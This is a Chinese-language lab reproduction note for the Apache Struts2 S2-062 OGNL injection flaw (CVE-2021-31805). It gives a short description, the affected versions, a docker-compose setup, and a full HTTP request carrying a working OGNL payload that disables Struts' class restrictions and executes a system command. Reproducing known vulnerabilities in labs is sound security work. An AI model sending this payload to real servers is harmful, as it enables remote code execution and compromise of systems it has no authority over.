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55 lines
2.3 KiB
Markdown
55 lines
2.3 KiB
Markdown
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# Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
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## 漏洞描述
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该漏洞由于对 CVE-2020-17530 的修复不完整造成的，CVE-2020-17530 漏洞是由于 Struts2 会对某些标签属性 (比如 id) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 `%{x}` 且 其中 x 的值用户可控时，用户再传入一个 `%{payload}` 即可造成 OGNL 表达式执行。在 CVE-2021-31805 漏洞中，仍然存在部分标签属性会造成攻击者恶意构造的 OGNL 表达式执行，导致远程代码执行。
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## 漏洞影响
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```
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Struts 2.0.0 - Struts 2.5.29
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```
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## 环境搭建
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docker-compose.yml
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```
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version: '2'
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services:
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struts2:
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image: vulhub/struts2:2.5.25
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ports:
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- "8080:8080"
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```
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环境启动后，访问 `http://your-ip:8080/index.action` 查看到首页。
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## 漏洞复现
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发送请求包
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```php
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POST / HTTP/1.1
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Host: your-ip:8080
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Content-Length: 829
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Origin: http://your-ip:8080
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1OyBby784sBXbcK9
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
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Accept: */*
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Referer: http://your-ip:8080/
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Accept-Encoding: gzip, deflate, br
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Accept-Language: en
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------WebKitFormBoundary1OyBby784sBXbcK9
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Content-Disposition: form-data; name="id"
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%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
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------WebKitFormBoundary1OyBby784sBXbcK9--
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```
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